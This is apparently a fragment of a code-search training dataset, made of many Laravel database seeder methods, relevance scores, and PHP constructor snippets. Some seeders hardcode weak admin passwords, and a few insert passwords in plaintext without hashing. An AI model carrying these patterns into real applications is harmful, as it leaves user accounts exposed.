null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
Constructor Sets the page title and any other settings.
public function __construct(Site $site) { $this->site = $site; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function __construct($ptitle)\r\n {\r\n $this->_htmlpage = new HTMLPage($ptitle);\r\n $this->setPageDefaults();\r\n $this->setDynamicDefaults();\r\n }", "public function __construct()\n {\n // Page Data\n $this->title = 'Dashboard';\n $this->url = 'dashboard';\n }", "public function __construct() {\n\t\t\tparent::__construct();\n\t\t\t\n\t\t\t$this->assignPageVar('strPageTitle', $strSiteTitle = AppConfig::get('SiteTitle'));\n\t\t\t$this->assignPageVar('strSiteTitle', $strSiteTitle);\n\t\t\t$this->assignPageVar('strTheme', $strTheme = AppConfig::get('Theme'));\n\t\t\t\n\t\t\t$this->strThemeDir = ($strTheme ? \"themes/{$strTheme}/\" : '');\n\t\t\t$this->strThemeCssDir = '/css/' . ($this->strThemeDir ? $this->strThemeDir : null);\n\t\t\t$this->strThemeJsDir = '/js/' . ($this->strThemeDir ? $this->strThemeDir : null);\n\t\t}", "function __construct($title = \"Default\") {\n\t\t$this->_title = $title;\n\t}", "function Set_Title($Title) : Page\n {\n $this->Title = filter_var($Title, FILTER_SANITIZE_STRING);\n return $this;\n }", "public function __construct()\n {\n $this->page = collect();\n $this->page->title = 'Patient Dashboard';\n $this->page->view = 'home';\n }", "public function __construct($title = null) {\n $this->setTitle($title);\n }", "public function __construct($title=false)\n\t{\n\t\t$this->setTitle($title);\n\t}", "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t\n\t\t// === Check is logged manager === //\n\t\t$this->_CheckLogged();\t\n\t\t\n\t\t// === Init Language Section === //\n\t\t$this->lang_model->init(array('label','admin'));\n\t\t\n\t\t// === Page Titles === //\n\t\t$this->page_titles['index'] = language('vars_for_templates');\n\t\t//default page title\n\t\t$this->_setDefaultPageTitle();\n\t}", "protected function __construct($title) {\n $this->title = $title;\n }", "public function setPageTitle($title);", "public function __construct()\n {\n $this->page_title = \\Request::route()->getName();\n //\\App\\System::AccessLogWrite();\n }", "function __construct() {\r\n\r\n global $pageSettings;\r\n\r\n $this->displayLang = $pageSettings->displayLang;\r\n\r\n $this->xmlContents = $this->parseAndValidateXMLContents();\r\n\r\n }", "public function __construct($title)\n {\n $this->_title = $title;\n $this->createMenuBar();\n }", "public function __construct() {\n\t\t// A special page should at least have a name.\n\t\t// We do this by calling the parent class (the SpecialPage class)\n\t\t// constructor method with the name as first and only parameter.\n\t\tparent::__construct( 'HelloWorld' );\n\t}", "public function __construct() {\n\t\t$this->header = file_get_contents(\"pageParts/header.php\");\n\t\t$this->headerBottom = file_get_contents(\"pageParts/headerBottom.php\");\n\t\t$this->bodyTag = file_get_contents(\"pageParts/bodyTag.php\");\n\t\t$this->banner = file_get_contents(\"pageParts/banner.php\");\n\t\t$this->leftMenu = file_get_contents(\"pageParts/leftMenu.php\");\n\t\t$this->titlePrefix = file_get_contents(\"pageParts/titlePrefix.php\");\n\t\t\n\t\t// Use public setter to set $this->title\n\t\t\n\t\t$this->titlePostfix = file_get_contents(\"pageParts/titlePostfix.php\");\n\t\t$this->rightMenu = file_get_contents(\"pageParts/rightMenu.php\");\n\t\t$this->contentPrefix = file_get_contents(\"pageParts/contentPrefix.php\");\n\t\t\n\t\t// Use public setter to set $this->content\n\t\t\n\t\t$this->contentPostfix = file_get_contents(\"pageParts/contentPostfix.php\");\n\t\t$this->footer = file_get_contents(\"pageParts/footer.php\");\n\t\t$this->end = 